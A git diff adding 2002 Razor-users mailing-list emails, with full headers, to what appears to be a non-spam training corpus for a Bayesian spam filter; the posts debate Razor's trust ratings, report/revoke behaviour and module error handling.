+https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00590.f2710adbdbe869b2a39d00b60ef9aee3 b/bayes/spamham/easy_ham_2/00590.f2710adbdbe869b2a39d00b60ef9aee3 new file mode 100644 index 0000000..71990bd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00590.f2710adbdbe869b2a39d00b60ef9aee3 @@ -0,0 +1,108 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 14:49:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3C06E43FB1 + for ; Fri, 9 Aug 2002 09:49:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 14:49:08 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79DmIb02818 for + ; Fri, 9 Aug 2002 14:48:18 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id OAA06671 for + ; Fri, 9 Aug 2002 14:45:11 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17dA0k-0002Ae-00; Fri, + 09 Aug 2002 06:41:02 -0700 +Received: from 70.muca.bstn.bstnmaco.dsl.att.net ([12.98.14.70] + helo=pulse.fsckit.net) by usw-sf-list1.sourceforge.net with esmtp (Cipher + TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17d9zu-0006aX-00 + for ; Fri, 09 Aug 2002 06:40:10 -0700 +Received: from twells by pulse.fsckit.net with local (Exim) id + 17d9zq-0004Tl-00 for razor-users@lists.sourceforge.net; Fri, + 09 Aug 2002 09:40:06 -0400 +From: "Tabor J. Wells" +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +Message-Id: <20020809134006.GA17001@fsckit.net> +Reply-To: razor-users@example.sourceforge.net +References: <81F8FF20-AB1F-11D6-BCF2-00039396ECF2@deersoft.com> + + <20020809013908.GA10032@fsckit.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-Copyright: This email is Copyright (c)2002 by razor-users@fsckit.net. + All rights reserved. +X-Bofh: Do you feel lucky? +X-Jihad: I will hunt down all who spam my account. Try me. +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 09:40:06 -0400 +Date: Fri, 9 Aug 2002 09:40:06 -0400 + +On Thu, Aug 08, 2002 at 08:00:00PM -0700, +Jehan is thought to have said: + +> Actually you would be inaccurate in your action in a way. The correct +> behavior would be to unsubscribe razor-users@fsckit.net from the mailing +> list. + +Wow. I think a majority of the anti-spam community out there would disagree +with you. It makes no difference what the list is, whether it's run by ZDNet +or Empire Towers, whether it uses open proxies and relays or a MLM like +mailman or Lyris. In either case I was added to a list against my will to +receive unsolicited bulk email. I shouldn't have to 'just unsubscribe from +the list' any more than I should have to send email with the subject REMOVE +to removemeblahblah1234@yahoo.com or go to http://www.centralremovelist.com/ +to 'unsubscribe' from some viagra spam. Or are you advocating that as well? + +> But in any case, you have to understand that you and him would not be +> the only one involved. As I said in a another thread, you probably get +> hurt only if you are against the majority of people (which makes sense). +> If you are with the majority, you get a bonus (which also makes sense). +> If there is no majority, nobody wins or lose. + +That's fine. But my point is that neither person in my example was +committing an inherently untrustworthy act. Yet someone's TES would likely +fall because of it. + +> Razor is designed for the betterment of most people, i.e. the majority, +> not for the individual. If one doesn't agree with the majority, he +> should use the razor-whitelist or create a blacklist (BTW, why doesn't +> razor provide a razor-blacklist too?) + +Hmm. Good point about razor-whitelist. I'd forgotten about that. + +-- +-------------------------------------------------------------------- +Tabor J. Wells twells@fsckit.net +Fsck It! Just another victim of the ambient morality + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00591.ede8a2398d8d79a213d06480dad691ce b/bayes/spamham/easy_ham_2/00591.ede8a2398d8d79a213d06480dad691ce new file mode 100644 index 0000000..32f2c9e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00591.ede8a2398d8d79a213d06480dad691ce @@ -0,0 +1,85 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:00:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 760CA440CF + for ; Fri, 9 Aug 2002 09:59:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 14:59:56 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79E0fb04043 for + ; Fri, 9 Aug 2002 15:00:41 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id OAA06595 for + ; Fri, 9 Aug 2002 14:31:55 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d9hQ-0007ay-00; Fri, + 09 Aug 2002 06:21:04 -0700 +Received: from dsl-64-192-194-141.telocity.com ([64.192.194.141] + helo=fogey.tfp.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17d9h3-000875-00 for + ; Fri, 09 Aug 2002 06:20:42 -0700 +Received: (from pfau@localhost) by fogey.tfp.net (8.11.3/8.11.3/SuSE Linux + 8.11.1-0.5) id g79DKa218670 for razor-users@lists.sourceforge.net; + Fri, 9 Aug 2002 09:20:36 -0400 +From: Thomas Pfau +To: razor-users@example.sourceforge.net +Message-Id: <20020809092035.A18612@fogey.tfp.net> +Mail-Followup-To: razor-users@example.sourceforge.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.16i +Subject: [Razor-users] use of exit in razor modules +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 09:20:35 -0400 +Date: Fri, 9 Aug 2002 09:20:35 -0400 + +Every once in a while, I get notifications in my root mailbox that my +personal mail is being rejected. The message is 'No Catalogue Servers +available at this time.' Since I use razor V1 through Mail::Audit +(using is_spam), I tried several ways to try to trap this error and +allow my mail to be delivered on these occassions but nothing seemed +to work. + +I started digging through the code and found several uses of exit +inside the razor code. This is a very anti-social thing for a module +to do. It takes away my option to bypass the spam check and deliver +the mail anyway. The razor modules should signal errors through die +or warn. razor-check could catch these and, knowing it's being called +during mail delivery, issue an appropriate message and exit status for +the MTA. The razor modules don't know who's calling them and +shouldn't make this decision. I'm wondering how much legitimate mail +I'm missing because of this. + +I certainly hope this is being addressed in the new version. + +-- +tom_p +pfau@nbpfaus.net -- http://www.nbpfaus.net/~pfau/ + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00592.4ec37bb1a3a2ffab9cb80b8568c907dc b/bayes/spamham/easy_ham_2/00592.4ec37bb1a3a2ffab9cb80b8568c907dc new file mode 100644 index 0000000..01d65c7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00592.4ec37bb1a3a2ffab9cb80b8568c907dc @@ -0,0 +1,105 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:11:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6A7EE4406D + for ; Fri, 9 Aug 2002 10:11:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:11:46 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79E8Nb04928 for + ; Fri, 9 Aug 2002 15:08:23 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id NAA06064 for + ; Fri, 9 Aug 2002 13:21:10 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d8Ry-0005Jk-00; Fri, + 09 Aug 2002 05:01:02 -0700 +Received: from 208-150-110-21-adsl.precisionet.net ([208.150.110.21] + helo=neofelis.ixazon.lan) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17d8RK-0003nf-00 for + ; Fri, 09 Aug 2002 05:00:22 -0700 +Received: by neofelis.ixazon.lan (Postfix, from userid 504) id 4B6443C476; + Fri, 9 Aug 2002 08:00:11 -0400 (EDT) +Content-Type: text/plain; charset="iso-8859-1" +From: "cmeclax po'u le cmevi'u ke'umri" +Reply-To: cmeclax@ixazon.dynip.com +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] report and revoke the same message +X-Mailer: KMail [version 1.2] +References: <02080900434000.12649@neofelis> + <20020809052725.GX3169@bsd.havk.org> +In-Reply-To: <20020809052725.GX3169@bsd.havk.org> +Comment: li 0x18080B5EBAEAEC17619A6B51DFF93585D986F633 cu sevzi le mi ckiku +MIME-Version: 1.0 +Message-Id: <02080908000401.12649@neofelis> +Content-Transfer-Encoding: 8bit +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 08:00:04 -0400 +Date: Fri, 9 Aug 2002 08:00:04 -0400 + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +de'i Friday 09 August 2002 01:27 la Steve Price cusku di'e +> On Fri, Aug 09, 2002 at 12:43:39AM -0400, cmeclax po'u le cmevi'u ke'umri +wrote: +> > I send mail detected by Razor as spam to the spamtrap, which again +> > reports it as spam. Before I added the procmail rule to revoke (as my +> > real life account) Bugtraq messages that were flagged as spam, I manually +> > revoked them as the spamtrap (which keeps the last 32 messages sent to +> > it). Thus the spamtrap both reported as spam and revoked the same +> > message. What happens to its trust rating? +> +> Maybe I'm the only one confused but what you are saying is that you +> have a spamtrap that receives Bugtraq messages and you are auto- +> matically reporting them as SPAM only to revoke them shortly there- +> after??? Either way automatic reporting is a Bad Thing (tm) IMHO. +> You should review and then report spamtrap or otherwise. I'm not +> sure how this would affect your rating because I don't have any docs +> nor code to look at but I sincerely hope that if that's what you +> are doing that it negatively impacts your rating at a near exponential +> rate with every report/revoke cycle. + +No, I have another account that sends anything that's already in Razor to the +spamtrap, unless it's a Bugtraq message, in which case I revoke it as that +account (not as the spamtrap). I'm talking about the situation before I +checked for Bugtraq in the procmailrc. The message was sent to the spamtrap +because it was in Razor, then I manually revoked it as the spamtrap because +it was erroneously reported. The spamtrap is not, and never was, subscribed +to Bugtraq. + +cmeclax +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) + +iD8DBQE9U67G3/k1hdmG9jMRAssMAJ9zlr8ULek1Dz5GopcyO0GYI9YEVACgqvj1 +ziGkuXEpY2RPRP3Q+Rs/sLc= +=VQGl +-----END PGP SIGNATURE----- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00593.3d1c3a023a9d90edc0436d0619a0b7d2 b/bayes/spamham/easy_ham_2/00593.3d1c3a023a9d90edc0436d0619a0b7d2 new file mode 100644 index 0000000..91fb572 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00593.3d1c3a023a9d90edc0436d0619a0b7d2 @@ -0,0 +1,83 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:33:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D521C4406D + for ; Fri, 9 Aug 2002 10:33:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:26 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EN5b06645 for + ; Fri, 9 Aug 2002 15:23:10 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id FAA03549 for + ; Fri, 9 Aug 2002 05:49:21 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d1e4-0000vU-00; Thu, + 08 Aug 2002 21:45:04 -0700 +Received: from 208-150-110-21-adsl.precisionet.net ([208.150.110.21] + helo=neofelis.ixazon.lan) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17d1dD-000508-00 for + ; Thu, 08 Aug 2002 21:44:11 -0700 +Received: by neofelis.ixazon.lan (Postfix, from userid 504) id DE6753C477; + Fri, 9 Aug 2002 00:43:49 -0400 (EDT) +Content-Type: text/plain; charset="iso-8859-1" +From: "cmeclax po'u le cmevi'u ke'umri" +Reply-To: cmeclax@ixazon.dynip.com +To: razor-users@example.sourceforge.net +X-Mailer: KMail [version 1.2] +Comment: li 0x18080B5EBAEAEC17619A6B51DFF93585D986F633 cu sevzi le mi ckiku +MIME-Version: 1.0 +Message-Id: <02080900434000.12649@neofelis> +Content-Transfer-Encoding: 8bit +Subject: [Razor-users] report and revoke the same message +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 00:43:39 -0400 +Date: Fri, 9 Aug 2002 00:43:39 -0400 + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +I send mail detected by Razor as spam to the spamtrap, which again reports it +as spam. Before I added the procmail rule to revoke (as my real life account) +Bugtraq messages that were flagged as spam, I manually revoked them as the +spamtrap (which keeps the last 32 messages sent to it). Thus the spamtrap +both reported as spam and revoked the same message. What happens to its trust +rating? + +Btw, what does "TeS" stand for? + +cmeclax +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) + +iD8DBQE9U0iD3/k1hdmG9jMRArnxAKCpw8ZpBWFo3+h7Y2mscN4WER6HEwCfauH9 +54LgdFZN2QQONm7awjHKN1c= +=yKwF +-----END PGP SIGNATURE----- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00594.1b0e89701a0b9d3bea4d1f940365ad6a b/bayes/spamham/easy_ham_2/00594.1b0e89701a0b9d3bea4d1f940365ad6a new file mode 100644 index 0000000..3f160d8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00594.1b0e89701a0b9d3bea4d1f940365ad6a @@ -0,0 +1,85 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:33:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8C704440CF + for ; Fri, 9 Aug 2002 10:33:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:28 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EKSb06215 for + ; Fri, 9 Aug 2002 15:20:28 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id IAA04319 for + ; Fri, 9 Aug 2002 08:50:23 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d4PL-0005AZ-00; Fri, + 09 Aug 2002 00:42:03 -0700 +Received: from cm22.omega47.scvmaxonline.com.sg ([218.186.47.22] + helo=svr1.03s.net) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17d4P4-0005b9-00 for + ; Fri, 09 Aug 2002 00:41:46 -0700 +Received: (qmail 13594 invoked by uid 501); 9 Aug 2002 07:41:19 -0000 +From: Adrian Ho +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] report and revoke the same message +Message-Id: <20020809154119.A5131@svr1.03s.net> +Mail-Followup-To: razor-users@example.sourceforge.net +References: <02080900434000.12649@neofelis> + <20020809052725.GX3169@bsd.havk.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.15i +In-Reply-To: <20020809052725.GX3169@bsd.havk.org>; from steve@havk.org on + Fri, Aug 09, 2002 at 12:27:25AM -0500 +Mail-Followup-To: +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 15:41:19 +0800 +Date: Fri, 9 Aug 2002 15:41:19 +0800 + +On Fri, Aug 09, 2002 at 12:27:25AM -0500, Steve Price wrote: +> Maybe I'm the only one confused but what you are saying is that you +> have a spamtrap that receives Bugtraq messages and you are auto- +> matically reporting them as SPAM only to revoke them shortly there- +> after??? Either way automatic reporting is a Bad Thing (tm) IMHO. + +To be more precise, automatic reporting is a Good Thing only if there's +/zero/ possibility of reporting positives falsely (or as close to zero +as makes no difference in the end). + +cmeclax's example (which incidentally points out a major vulnerability +of auto-reporting trollboxes) basically says "I'll blindly report as +spam whatever some other user(s) have reported as spam". That "blindly" +part undermines the very purpose of Razor, so I too hope that: + +> if that's what you are doing that it negatively impacts your rating +> at a near exponential rate with every report/revoke cycle. + +- Adrian + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00595.46be8a4c508859d94795ad67c4d55a77 b/bayes/spamham/easy_ham_2/00595.46be8a4c508859d94795ad67c4d55a77 new file mode 100644 index 0000000..dc524ce --- /dev/null +++ b/bayes/spamham/easy_ham_2/00595.46be8a4c508859d94795ad67c4d55a77 @@ -0,0 +1,94 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:33:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D8837440D4 + for ; Fri, 9 Aug 2002 10:33:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:29 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ELub06355 for + ; Fri, 9 Aug 2002 15:21:56 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id GAA03712 for + ; Fri, 9 Aug 2002 06:37:39 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d2Jf-0005Pc-00; Thu, + 08 Aug 2002 22:28:03 -0700 +Received: from fly.hiwaay.net ([208.147.154.56] helo=mail.hiwaay.net) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17d2JE-0002Wi-00 for + ; Thu, 08 Aug 2002 22:27:37 -0700 +Received: from bsd.havk.org (user-24-214-34-165.knology.net + [24.214.34.165]) by mail.hiwaay.net (8.12.5/8.12.5) with ESMTP id + g795RQSt038325; Fri, 9 Aug 2002 00:27:28 -0500 (CDT) +Received: by bsd.havk.org (Postfix, from userid 1001) id 519461A786; + Fri, 9 Aug 2002 00:27:25 -0500 (CDT) +From: Steve Price +To: cmeclax@ixazon.dynip.com +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] report and revoke the same message +Message-Id: <20020809052725.GX3169@bsd.havk.org> +References: <02080900434000.12649@neofelis> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <02080900434000.12649@neofelis> +User-Agent: Mutt/1.3.27i +X-Operating-System: FreeBSD 4.5-PRERELEASE i386 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 00:27:25 -0500 +Date: Fri, 9 Aug 2002 00:27:25 -0500 + +On Fri, Aug 09, 2002 at 12:43:39AM -0400, cmeclax po'u le cmevi'u ke'umri wrote: +> +> I send mail detected by Razor as spam to the spamtrap, which again reports it +> as spam. Before I added the procmail rule to revoke (as my real life account) +> Bugtraq messages that were flagged as spam, I manually revoked them as the +> spamtrap (which keeps the last 32 messages sent to it). Thus the spamtrap +> both reported as spam and revoked the same message. What happens to its trust +> rating? + +Maybe I'm the only one confused but what you are saying is that you +have a spamtrap that receives Bugtraq messages and you are auto- +matically reporting them as SPAM only to revoke them shortly there- +after??? Either way automatic reporting is a Bad Thing (tm) IMHO. +You should review and then report spamtrap or otherwise. I'm not +sure how this would affect your rating because I don't have any docs +nor code to look at but I sincerely hope that if that's what you +are doing that it negatively impacts your rating at a near exponential +rate with every report/revoke cycle. + +> Btw, what does "TeS" stand for? + +Truth Evaluation System. UTFG. + +http://www.google.com/search?q=razor+TeS + +-steve + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00596.44be3fbfd666d5c254fece3178823076 b/bayes/spamham/easy_ham_2/00596.44be3fbfd666d5c254fece3178823076 new file mode 100644 index 0000000..8709d50 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00596.44be3fbfd666d5c254fece3178823076 @@ -0,0 +1,84 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:33:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 28B85440D9 + for ; Fri, 9 Aug 2002 10:33:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:31 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ENSb06684 for + ; Fri, 9 Aug 2002 15:23:28 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id FAA03460 for + ; Fri, 9 Aug 2002 05:24:59 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d1Es-0005Kp-00; Thu, + 08 Aug 2002 21:19:02 -0700 +Received: from vhost.swchs.org ([216.185.203.194]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17d1EQ-0005Wy-00 for ; Thu, + 08 Aug 2002 21:18:34 -0700 +Received: from WorldClient [127.0.0.1] by lerfjhax.com [127.0.0.1] with + SMTP (MDaemon.v3.5.0.R) for ; + Thu, 08 Aug 2002 23:18:29 -0500 +From: "Will Glynn" +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] What's wrong with the Razor servers now? +X-Mailer: WorldClient Standard 3.5.0e +In-Reply-To: <20020809013908.GA10032@fsckit.net> +X-Mdremoteip: 127.0.0.1 +X-Return-Path: delta407@delta407.homeip.net +X-Mdaemon-Deliver-To: razor-users@example.sourceforge.net +Message-Id: +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 08 Aug 2002 23:18:29 -0500 +Date: Thu, 08 Aug 2002 23:18:29 -0500 + +> Who loses in this case? Why? Neither party is inaccurate in their +> actions IMO. But someone's standing is going to get hurt because of it. + +My question for the trust system is this. I signed up for a free account +on some website that gives me free access to a large compilation of data, +and in so doing have subscribed myself to their mailing list. The mailing +includes a list of new articles and books and so forth as well as a few +links to their book store. + +This is consistently flagged as spam, even though I *agreed* to see it, +and I *want* to see what new articles there are, since some of them might +be interesting. Thus, since it is certifiably *not* spam (it even +includes a link to terminate your account), I revoke it. Even so, the +next mail is still flagged as spam. + +Who is losing a trust rating here? If it is not unsolicited commercial e- +mail, it should not be reported by Razor as spam -- correct? + +--Will + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00597.993f1ed03ea8c5eb3526fb2a658bccfb b/bayes/spamham/easy_ham_2/00597.993f1ed03ea8c5eb3526fb2a658bccfb new file mode 100644 index 0000000..b7b05f6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00597.993f1ed03ea8c5eb3526fb2a658bccfb @@ -0,0 +1,127 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:34:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0A8564406D + for ; Fri, 9 Aug 2002 10:33:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:38 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EOlb06818 for + ; Fri, 9 Aug 2002 15:24:47 +0100 +Received: from usw-sf-list2.sourceforge.net 